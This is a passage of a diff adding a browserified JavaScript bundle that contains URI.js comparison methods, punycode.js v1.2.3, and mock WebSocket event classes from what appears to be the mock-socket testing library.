'/') : '') + resolved._parts.path; + resolved.normalizePath(); + } + + resolved.build(); + return resolved; + }; + p.relativeTo = function(base) { + var relative = this.clone().normalize(); + var relativeParts, baseParts, common, relativePath, basePath; + + if (relative._parts.urn) { + throw new Error('URNs do not have any generally defined hierarchical components'); + } + + base = new URI(base).normalize(); + relativeParts = relative._parts; + baseParts = base._parts; + relativePath = relative.path(); + basePath = base.path(); + + if (relativePath.charAt(0) !== '/') { + throw new Error('URI is already relative'); + } + + if (basePath.charAt(0) !== '/') { + throw new Error('Cannot calculate a URI relative to another relative URI'); + } + + if (relativeParts.protocol === baseParts.protocol) { + relativeParts.protocol = null; + } + + if (relativeParts.username !== baseParts.username || relativeParts.password !== baseParts.password) { + return relative.build(); + } + + if (relativeParts.protocol !== null || relativeParts.username !== null || relativeParts.password !== null) { + return relative.build(); + } + + if (relativeParts.hostname === baseParts.hostname && relativeParts.port === baseParts.port) { + relativeParts.hostname = null; + relativeParts.port = null; + } else { + return relative.build(); + } + + if (relativePath === basePath) { + relativeParts.path = ''; + return relative.build(); + } + + // determine common sub path + common = URI.commonPath(relativePath, basePath); + + // If the paths have nothing in common, return a relative URL with the absolute path. + if (!common) { + return relative.build(); + } + + var parents = baseParts.path + .substring(common.length) + .replace(/[^\/]*$/, '') + .replace(/.*?\//g, '../'); + + relativeParts.path = (parents + relativeParts.path.substring(common.length)) || './'; + + return relative.build(); + }; + + // comparing URIs + p.equals = function(uri) { + var one = this.clone(); + var two = new URI(uri); + var one_map = {}; + var two_map = {}; + var checked = {}; + var one_query, two_query, key; + + one.normalize(); + two.normalize(); + + // exact match + if (one.toString() === two.toString()) { + return true; + } + + // extract query string + one_query = one.query(); + two_query = two.query(); + one.query(''); + two.query(''); + + // definitely not equal if not even non-query parts match + if (one.toString() !== two.toString()) { + return false; + } + + // query parameters have the same length, even if they're permuted + if (one_query.length !== two_query.length) { + return false; + } + + one_map = URI.parseQuery(one_query, this._parts.escapeQuerySpace); + two_map = URI.parseQuery(two_query, this._parts.escapeQuerySpace); + + for (key in one_map) { + if (hasOwn.call(one_map, key)) { + if (!isArray(one_map[key])) { + if (one_map[key] !== two_map[key]) { + return false; + } + } else if (!arraysEqual(one_map[key], two_map[key])) { + return false; + } + + checked[key] = true; + } + } + + for (key in two_map) { + if (hasOwn.call(two_map, key)) { + if (!checked[key]) { + // two contains a parameter not present in one + return false; + } + } + } + + return true; + }; + + // state + p.duplicateQueryParameters = function(v) { + this._parts.duplicateQueryParameters = !!v; + return this; + }; + + p.escapeQuerySpace = function(v) { + this._parts.escapeQuerySpace = !!v; + return this; + }; + + return URI; +})); + +},{"./IPv6":1,"./SecondLevelDomains":2,"./punycode":4}],4:[function(require,module,exports){ +(function (global){ +/*! http://mths.be/punycode v1.2.3 by @mathias */ +;(function(root) { + + /** Detect free variables */ + var freeExports = typeof exports == 'object' && exports; + var freeModule = typeof module == 'object' && module && + module.exports == freeExports && module; + var freeGlobal = typeof global == 'object' && global; + if (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal) { + root = freeGlobal; + } + + /** + * The `punycode` object. + * @name punycode + * @type Object + */ + var punycode, + + /** Highest positive signed 32-bit float value */ + maxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1 + + /** Bootstring parameters */ + base = 36, + tMin = 1, + tMax = 26, + skew = 38, + damp = 700, + initialBias = 72, + initialN = 128, // 0x80 + delimiter = '-', // '\x2D' + + /** Regular expressions */ + regexPunycode = /^xn--/, + regexNonASCII = /[^ -~]/, // unprintable ASCII chars + non-ASCII chars + regexSeparators = /\x2E|\u3002|\uFF0E|\uFF61/g, // RFC 3490 separators + + /** Error messages */ + errors = { + 'overflow': 'Overflow: input needs wider integers to process', + 'not-basic': 'Illegal input >= 0x80 (not a basic code point)', + 'invalid-input': 'Invalid input' + }, + + /** Convenience shortcuts */ + baseMinusTMin = base - tMin, + floor = Math.floor, + stringFromCharCode = String.fromCharCode, + + /** Temporary variable */ + key; + + /*--------------------------------------------------------------------------*/ + + /** + * A generic error utility function. + * @private + * @param {String} type The error type. + * @returns {Error} Throws a `RangeError` with the applicable error message. + */ + function error(type) { + throw RangeError(errors[type]); + } + + /** + * A generic `Array#map` utility function. + * @private + * @param {Array} array The array to iterate over. + * @param {Function} callback The function that gets called for every array + * item. + * @returns {Array} A new array of values returned by the callback function. + */ + function map(array, fn) { + var length = array.length; + while (length--) { + array[length] = fn(array[length]); + } + return array; + } + + /** + * A simple `Array#map`-like wrapper to work with domain name strings. + * @private + * @param {String} domain The domain name. + * @param {Function} callback The function that gets called for every + * character. + * @returns {Array} A new string of characters returned by the callback + * function. + */ + function mapDomain(string, fn) { + return map(string.split(regexSeparators), fn).join('.'); + } + + /** + * Creates an array containing the numeric code points of each Unicode + * character in the string. While JavaScript uses UCS-2 internally, + * this function will convert a pair of surrogate halves (each of which + * UCS-2 exposes as separate characters) into a single code point, + * matching UTF-16. + * @see `punycode.ucs2.encode` + * @see <http://mathiasbynens.be/notes/javascript-encoding> + * @memberOf punycode.ucs2 + * @name decode + * @param {String} string The Unicode input string (UCS-2). + * @returns {Array} The new array of code points. + */ + function ucs2decode(string) { + var output = [], + counter = 0, + length = string.length, + value, + extra; + while (counter < length) { + value = string.charCodeAt(counter++); + if (value >= 0xD800 && value <= 0xDBFF && counter < length) { + // high surrogate, and there is a next character + extra = string.charCodeAt(counter++); + if ((extra & 0xFC00) == 0xDC00) { // low surrogate + output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000); + } else { + // unmatched surrogate; only append this code unit, in case the next + // code unit is the high surrogate of a surrogate pair + output.push(value); + counter--; + } + } else { + output.push(value); + } + } + return output; + } + + /** + * Creates a string based on an array of numeric code points. + * @see `punycode.ucs2.decode` + * @memberOf punycode.ucs2 + * @name encode + * @param {Array} codePoints The array of numeric code points. + * @returns {String} The new Unicode string (UCS-2). + */ + function ucs2encode(array) { + return map(array, function(value) { + var output = ''; + if (value > 0xFFFF) { + value -= 0x10000; + output += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800); + value = 0xDC00 | value & 0x3FF; + } + output += stringFromCharCode(value); + return output; + }).join(''); + } + + /** + * Converts a basic code point into a digit/integer. + * @see `digitToBasic()` + * @private + * @param {Number} codePoint The basic numeric code point value. + * @returns {Number} The numeric value of a basic code point (for use in + * representing integers) in the range `0` to `base - 1`, or `base` if + * the code point does not represent a value. + */ + function basicToDigit(codePoint) { + if (codePoint - 48 < 10) { + return codePoint - 22; + } + if (codePoint - 65 < 26) { + return codePoint - 65; + } + if (codePoint - 97 < 26) { + return codePoint - 97; + } + return base; + } + + /** + * Converts a digit/integer into a basic code point. + * @see `basicToDigit()` + * @private + * @param {Number} digit The numeric value of a basic code point. + * @returns {Number} The basic code point whose value (when used for + * representing integers) is `digit`, which needs to be in the range + * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is + * used; else, the lowercase form is used. The behavior is undefined + * if `flag` is non-zero and `digit` has no uppercase form. + */ + function digitToBasic(digit, flag) { + // 0..25 map to ASCII a..z or A..Z + // 26..35 map to ASCII 0..9 + return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5); + } + + /** + * Bias adaptation function as per section 3.4 of RFC 3492. + * http://tools.ietf.org/html/rfc3492#section-3.4 + * @private + */ + function adapt(delta, numPoints, firstTime) { + var k = 0; + delta = firstTime ? floor(delta / damp) : delta >> 1; + delta += floor(delta / numPoints); + for (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) { + delta = floor(delta / baseMinusTMin); + } + return floor(k + (baseMinusTMin + 1) * delta / (delta + skew)); + } + + /** + * Converts a Punycode string of ASCII-only symbols to a string of Unicode + * symbols. + * @memberOf punycode + * @param {String} input The Punycode string of ASCII-only symbols. + * @returns {String} The resulting string of Unicode symbols. + */ + function decode(input) { + // Don't use UCS-2 + var output = [], + inputLength = input.length, + out, + i = 0, + n = initialN, + bias = initialBias, + basic, + j, + index, + oldi, + w, + k, + digit, + t, + length, + /** Cached calculation results */ + baseMinusT; + + // Handle the basic code points: let `basic` be the number of input code + // points before the last delimiter, or `0` if there is none, then copy + // the first basic code points to the output. + + basic = input.lastIndexOf(delimiter); + if (basic < 0) { + basic = 0; + } + + for (j = 0; j < basic; ++j) { + // if it's not a basic code point + if (input.charCodeAt(j) >= 0x80) { + error('not-basic'); + } + output.push(input.charCodeAt(j)); + } + + // Main decoding loop: start just after the last delimiter if any basic code + // points were copied; start at the beginning otherwise. + + for (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) { + + // `index` is the index of the next character to be consumed. + // Decode a generalized variable-length integer into `delta`, + // which gets added to `i`. The overflow checking is easier + // if we increase `i` as we go, then subtract off its starting + // value at the end to obtain `delta`. + for (oldi = i, w = 1, k = base; /* no condition */; k += base) { + + if (index >= inputLength) { + error('invalid-input'); + } + + digit = basicToDigit(input.charCodeAt(index++)); + + if (digit >= base || digit > floor((maxInt - i) / w)) { + error('overflow'); + } + + i += digit * w; + t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias); + + if (digit < t) { + break; + } + + baseMinusT = base - t; + if (w > floor(maxInt / baseMinusT)) { + error('overflow'); + } + + w *= baseMinusT; + + } + + out = output.length + 1; + bias = adapt(i - oldi, out, oldi == 0); + + // `i` was supposed to wrap around from `out` to `0`, + // incrementing `n` each time, so we'll fix that now: + if (floor(i / out) > maxInt - n) { + error('overflow'); + } + + n += floor(i / out); + i %= out; + + // Insert `n` at position `i` of the output + output.splice(i++, 0, n); + + } + + return ucs2encode(output); + } + + /** + * Converts a string of Unicode symbols to a Punycode string of ASCII-only + * symbols. + * @memberOf punycode + * @param {String} input The string of Unicode symbols. + * @returns {String} The resulting Punycode string of ASCII-only symbols. + */ + function encode(input) { + var n, + delta, + handledCPCount, + basicLength, + bias, + j, + m, + q, + k, + t, + currentValue, + output = [], + /** `inputLength` will hold the number of code points in `input`. */ + inputLength, + /** Cached calculation results */ + handledCPCountPlusOne, + baseMinusT, + qMinusT; + + // Convert the input in UCS-2 to Unicode + input = ucs2decode(input); + + // Cache the length + inputLength = input.length; + + // Initialize the state + n = initialN; + delta = 0; + bias = initialBias; + + // Handle the basic code points + for (j = 0; j < inputLength; ++j) { + currentValue = input[j]; + if (currentValue < 0x80) { + output.push(stringFromCharCode(currentValue)); + } + } + + handledCPCount = basicLength = output.length; + + // `handledCPCount` is the number of code points that have been handled; + // `basicLength` is the number of basic code points. + + // Finish the basic string - if it is not empty - with a delimiter + if (basicLength) { + output.push(delimiter); + } + + // Main encoding loop: + while (handledCPCount < inputLength) { + + // All non-basic code points < n have been handled already. Find the next + // larger one: + for (m = maxInt, j = 0; j < inputLength; ++j) { + currentValue = input[j]; + if (currentValue >= n && currentValue < m) { + m = currentValue; + } + } + + // Increase `delta` enough to advance the decoder's <n,i> state to <m,0>, + // but guard against overflow + handledCPCountPlusOne = handledCPCount + 1; + if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) { + error('overflow'); + } + + delta += (m - n) * handledCPCountPlusOne; + n = m; + + for (j = 0; j < inputLength; ++j) { + currentValue = input[j]; + + if (currentValue < n && ++delta > maxInt) { + error('overflow'); + } + + if (currentValue == n) { + // Represent delta as a generalized variable-length integer + for (q = delta, k = base; /* no condition */; k += base) { + t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias); + if (q < t) { + break; + } + qMinusT = q - t; + baseMinusT = base - t; + output.push( + stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0)) + ); + q = floor(qMinusT / baseMinusT); + } + + output.push(stringFromCharCode(digitToBasic(q, 0))); + bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength); + delta = 0; + ++handledCPCount; + } + } + + ++delta; + ++n; + + } + return output.join(''); + } + + /** + * Converts a Punycode string representing a domain name to Unicode. Only the + * Punycoded parts of the domain name will be converted, i.e. it doesn't + * matter if you call it on a string that has already been converted to + * Unicode. + * @memberOf punycode + * @param {String} domain The Punycode domain name to convert to Unicode. + * @returns {String} The Unicode representation of the given Punycode + * string. + */ + function toUnicode(domain) { + return mapDomain(domain, function(string) { + return regexPunycode.test(string) + ? decode(string.slice(4).toLowerCase()) + : string; + }); + } + + /** + * Converts a Unicode string representing a domain name to Punycode. Only the + * non-ASCII parts of the domain name will be converted, i.e. it doesn't + * matter if you call it with a domain that's already in ASCII. + * @memberOf punycode + * @param {String} domain The domain name to convert, as a Unicode string. + * @returns {String} The Punycode representation of the given domain name. + */ + function toASCII(domain) { + return mapDomain(domain, function(string) { + return regexNonASCII.test(string) + ? 'xn--' + encode(string) + : string; + }); + } + + /*--------------------------------------------------------------------------*/ + + /** Define the public API */ + punycode = { + /** + * A string representing the current Punycode.js version number. + * @memberOf punycode + * @type String + */ + 'version': '1.2.3', + /** + * An object of methods to convert from JavaScript's internal character + * representation (UCS-2) to Unicode code points, and back. + * @see <http://mathiasbynens.be/notes/javascript-encoding> + * @memberOf punycode + * @type Object + */ + 'ucs2': { + 'decode': ucs2decode, + 'encode': ucs2encode + }, + 'decode': decode, + 'encode': encode, + 'toASCII': toASCII, + 'toUnicode': toUnicode + }; + + /** Expose `punycode` */ + // Some AMD build optimizers, like r.js, check for specific condition patterns + // like the following: + if ( + typeof define == 'function' && + typeof define.amd == 'object' && + define.amd + ) { + define(function() { + return punycode; + }); + } else if (freeExports && !freeExports.nodeType) { + if (freeModule) { // in Node.js or RingoJS v0.8.0+ + freeModule.exports = punycode; + } else { // in Narwhal or RingoJS v0.7.0- + for (key in punycode) { + punycode.hasOwnProperty(key) && (freeExports[key] = punycode[key]); + } + } + } else { // in Rhino or a web browser + root.punycode = punycode; + } + +}(this)); + +}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) + +},{}],5:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +var _helpersEvent = require('./helpers/event'); + +var _helpersEvent2 = _interopRequireDefault(_helpersEvent); + +var _helpersMessageEvent = require('./helpers/message-event'); + +var _helpersMessageEvent2 = _interopRequireDefault(_helpersMessageEvent); + +var _helpersCloseEvent = require('./helpers/close-event'); + +var _helpersCloseEvent2 = _interopRequireDefault(_helpersCloseEvent); + +/* +* Creates an Event object and extends it to allow full modification of +* its properties. +* +* @param {object} config - within config you will need to pass type and optionally target +*/ +function createEvent(config) { + var type = config.type; + var target = config.target; + + var eventObject = new _helpersEvent2['default'](type); + + if (target) { + eventObject.target = target; + eventObject.srcElement = target; + eventObject.currentTarget = target; + } + + return eventObject; +} + +/* +* Creates a MessageEvent object and extends it to allow full modification of +* its properties. +* +* @param {object} config - within config you will need to pass type, origin, data and optionally target +*/ +function createMessageEvent(config) { + var type = config.type; + var origin = config.origin; + var data = config.data; + var target = config.target; + + var messageEvent = new _helpersMessageEvent2['default'](type, { + data: data, + origin: origin + }); + + if (target) { + messageEvent.target = target; + messageEvent.srcElement = target; + messageEvent.currentTarget = target; + } + + return messageEvent; +} + +/* +* Creates a CloseEvent object and extends it to allow full modification of +* its properties. +* +* @param {object} config - within config you will need to pass type and optionally target, code, and reason +*/ +function createCloseEvent(config) { + var code = config.code; + var reason = config.reason; + var type = config.type; + var target = config.target; + var wasClean = config.wasClean; + + if (!wasClean) { + wasClean = code === 1000; + } + + var closeEvent = new _helpersCloseEvent2['default'](type, { + code: code, + reason: reason, + wasClean: wasClean + }); + + if (target) { + closeEvent.target = target; + closeEvent.srcElement = target; + closeEvent.currentTarget = target; + } + + return closeEvent; +} + +exports.createEvent = createEvent; +exports.createMessageEvent = createMessageEvent; +exports.createCloseEvent = createCloseEvent; +},{"./helpers/close-event":9,"./helpers/event":12,"./helpers/message-event":13}],6:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +var _helpersArrayHelpers = require('./helpers/array-helpers'); + +/* +* EventTarget is an interface implemented by objects that can +* receive events and may have listeners for them. +* +* https://developer.mozilla.org/en-US/docs/Web/API/EventTarget +*/ + +var EventTarget = (function () { + function EventTarget() { + _classCallCheck(this, EventTarget); + + this.listeners = {}; + } + + /* + * Ties a listener function to a event type which can later be invoked via the + * dispatchEvent method. + * + * @param {string} type - the type of event (ie: 'open', 'message', etc.) + * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type + * @param {boolean} useCapture - N/A TODO: implement useCapture functionality + */ + + _createClass(EventTarget, [{ + key: 'addEventListener', + value: function addEventListener(type, listener /* , useCapture */) { + if (typeof listener === 'function') { + if (!Array.isArray(this.listeners[type])) { + this.listeners[type] = []; + } + + // Only add the same function once + if ((0, _helpersArrayHelpers.filter)(this.listeners[type], function (item) { + return item === listener; + }).length === 0) { + this.listeners[type].push(listener); + } + } + } + + /* + * Removes the listener so it will no longer be invoked via the dispatchEvent method. + * + * @param {string} type - the type of event (ie: 'open', 'message', etc.) + * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type + * @param {boolean} useCapture - N/A TODO: implement useCapture functionality + */ + }, { + key: 'removeEventListener', + value: function removeEventListener(type, removingListener /* , useCapture */) { + var arrayOfListeners = this.listeners[type]; + this.listeners[type] = (0, _helpersArrayHelpers.reject)(arrayOfListeners, function (listener) { + return listener === removingListener; + }); + } + + /* + * Invokes all listener functions that are listening to the given event.type property. Each + * listener will be passed the event as the first argument. + * + * @param {object} event - event object which will be passed to all listeners of the event.type property + */ + }, { + key: 'dispatchEvent', + value: function dispatchEvent(event) { + var _this = this; + + for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { + customArguments[_key - 1] = arguments[_key]; + } + + var eventName = event.type; + var listeners = this.listeners[eventName]; + + if (!Array.isArray(listeners)) { + return false; + } + + listeners.forEach(function (listener) { + if (customArguments.length > 0) { + listener.apply(_this, customArguments); + } else { + listener.call(_this, event); + } + }); + } + }]); + + return EventTarget; +})(); + +exports['default'] = EventTarget; +module.exports = exports['default']; +},{"./helpers/array-helpers":7}],7:[function(require,module,exports){ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +exports.reject = reject; +exports.filter = filter; + +function reject(array, callback) { + var results = []; + array.forEach(function (itemInArray) { + if (!callback(itemInArray)) { + results.push(itemInArray); + } + }); + + return results; +} + +function filter(array, callback) { + var results = []; + array.forEach(function (itemInArray) { + if (callback(itemInArray)) { + results.push(itemInArray); + } + }); + + return results; +} +},{}],8:[function(require,module,exports){ +/* +* https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent +*/ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +var codes = { + CLOSE_NORMAL: 1000, + CLOSE_GOING_AWAY: 1001, + CLOSE_PROTOCOL_ERROR: 1002, + CLOSE_UNSUPPORTED: 1003, + CLOSE_NO_STATUS: 1005, + CLOSE_ABNORMAL: 1006, + CLOSE_TOO_LARGE: 1009 +}; + +exports["default"] = codes; +module.exports = exports["default"]; +},{}],9:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } }; + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + +var _eventPrototype = require('./event-prototype'); + +var _eventPrototype2 = _interopRequireDefault(_eventPrototype); + +var CloseEvent = (function (_EventPrototype) { + _inherits(CloseEvent, _EventPrototype); + + function CloseEvent(type) { + var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1]; + + _classCallCheck(this, CloseEvent); + + _get(Object.getPrototypeOf(CloseEvent.prototype), 'constructor', this).call(this); + + if (!type) { + throw new TypeError('Failed to construct \'CloseEvent\': 1 argument required, but only 0 present.'); + } + + if (typeof eventInitConfig !== 'object') { + throw new TypeError('Failed to construct \'CloseEvent\': parameter 2 (\'eventInitDict\') is not an object'); + } + + var bubbles = eventInitConfig.bubbles; + var cancelable = eventInitConfig.cancelable; + var code = eventInitConfig.code; + var reason = eventInitConfig.reason; + var wasClean = eventInitConfig.wasClean; + + this.type = String(type); + this.timeStamp = Date.now(); + this.target = null; + this.srcElement = null; + this.returnValue = true; + this.isTrusted = false; + this.eventPhase = 0; + this.defaultPrevented = false; + this.currentTarget = null; + this.cancelable = cancelable ? Boolean(cancelable) : false; + this.canncelBubble = false; + this.bubbles = bubbles ? Boolean(bubbles) : false; + this.code = typeof code === 'number' ? Number(code) : 0; + this.reason = reason ? String(reason) : ''; + this.wasClean = wasClean ? Boolean(wasClean) : false; + } + + return CloseEvent; +})(_eventPrototype2['default']); + +exports['default'] = CloseEvent; +module.exports = exports['default']; +},{"./event-prototype":11}],10:[function(require,module,exports){ +/* +* This delay allows the thread to finish assigning its on* methods +* before invoking the delay callback. This is purely a timing hack. +* http://geekabyte.blogspot.com/2014/01/javascript-effect-of-setting-settimeout.html +* +* @param {callback: function} the callback which will be invoked after the timeout +* @parma {context: object} the context in which to invoke the function +*/ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +function delay(callback, context) { + setTimeout(function timeout(timeoutContext) { + callback.call(timeoutContext); + }, 4, context); +} + +exports["default"] = delay; +module.exports = exports["default"]; +},{}],11:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })(); + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +var EventPrototype = (function () { + function EventPrototype() { + _classCallCheck(this, EventPrototype); + } + + _createClass(EventPrototype, [{ + key: 'stopPropagation', + + // Noops + value: function stopPropagation() {} + }, { + key: 'stopImmediatePropagation', + value: function stopImmediatePropagation() {} + + // if no arguments are passed then the type is set to "undefined" on + // chrome and safari. + }, { + key: 'initEvent', + value: function initEvent() { + var type = arguments.length <= 0 || arguments[0] === undefined ? 'undefined' : arguments[0]; + var bubbles = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1]; + var cancelable = arguments.length <= 2 || arguments[2] === undefined ? false : arguments[2]; + + Object.assign(this, { + type: String(type), + bubbles: Boolean(bubbles), + cancelable: Boolean(cancelable) + }); + } + }]); + + return EventPrototype; +})(); + +exports['default'] = EventPrototype; +module.exports = exports['default']; +},{}],12:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } }; + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + +var _eventPrototype = require('./event-prototype'); + +var _eventPrototype2 = _interopRequireDefault(_eventPrototype); + +var Event = (function (_EventPrototype) { + _inherits(Event, _EventPrototype); + + function Event(type) { + var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1]; + + _classCallCheck(this, Event); + + _get(Object.getPrototypeOf(Event.prototype), 'constructor', this).call(this); + + if (!type) { + throw new TypeError('Failed to construct \'Event\': 1 argument required, but only 0 present.'); + } + + if (typeof eventInitConfig !== 'object') { + throw new TypeError('Failed to construct \'Event\': parameter 2 (\'eventInitDict\') is not an object'); + } + + var bubbles = eventInitConfig.bubbles; + var cancelable = eventInitConfig.cancelable; + + this.type = String(type); + this.timeStamp = Date.now(); + this.target = null; + this.srcElement = null; + this.returnValue = true; + this.isTrusted = false; + this.eventPhase = 0; + this.defaultPrevented = false; + this.currentTarget = null; + this.cancelable = cancelable ? Boolean(cancelable) : false; + this.canncelBubble = false; + this.bubbles = bubbles ? Boolean(bubbles) : false; + } + + return Event; +})(_eventPrototype2['default']); + +exports['default'] = Event; +module.exports = exports['default']; +},{"./event-prototype":11}],13:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } }; + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } } + +function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + +var _eventPrototype = require('./event-prototype'); + +var _eventPrototype2 = _interopRequireDefault(_eventPrototype); + +var MessageEvent = (function (_EventPrototype) { + _inherits(MessageEvent, _EventPrototype); + + function MessageEvent(type) { + var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1]; + + _classCallCheck(this, MessageEvent); + + _get(Object.getPrototypeOf(MessageEvent.prototype), 'constructor', this).call(this); + + if (!type) { + throw new TypeError('Failed to construct \'MessageEvent\': 1 argument required, but only 0 present.'); + } + + if (typeof eventInitConfig !== 'object') { + throw new TypeError('Failed to construct \'MessageEvent\': parameter 2 (\'eventInitDict\') is not an object'); + } + + var bubbles = eventInitConfig.bubbles; + var cancelable = eventInitConfig.cancelable; + var data = eventInitConfig.data; + var origin = eventInitConfig.origin; + var lastEventId = eventInitConfig.lastEventId; + var ports = eventInitConfig.ports; + + this.type = String(type); + this.timeStamp = Date.now(); + this.target = null; + this.srcElement = null; + this.returnValue = true; + this.isTrusted = false; + this.eventPhase = 0; + this.defaultPrevented = false; + this.currentTarget = null; + this.cancelable = cancelable ? Boolean(cancelable) : false; + this.canncelBubble = false; + this.bubbles = bubbles ? Boolean(bubbles) : false; + this.origin = origin ? String(origin) : ''; + this.ports = typeof ports === 'undefined' ? null : ports; + this.data = typeof data === 'undefined' ? null : data; + this.lastEventId = lastEventId ? String(lastEventId) : ''; + } + + return MessageEvent; +})(_eventPrototype2['default']); + +exports['default'] = MessageEvent; +module.exports = exports['default']; +},{"./event-prototype":11}],14:[function(require,module,exports){ +'use strict'; + +Object.defineProperty(exports, '__esModule', { + value: true +}); + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } + +var _server = require('./server'); + +var _server2 = _interopRequireDefault(_server); + +var _socketIo = require('./socket-io'); + +var _socketIo2 = _interopRequireDefault(_socketIo); + +var _websocket = require('./websocket'); + +var _websocket2 = _interopRequireDefault(_websocket); + +if (typeof window !== 'undefined') { + window.MockServer = _server2['default']; + window.MockWebSocket = _websocket2['default']; + window.MockSocketIO = _socketIo2['default']; +} + +var Server = _server2['default']; +exports.Server = Server; +var 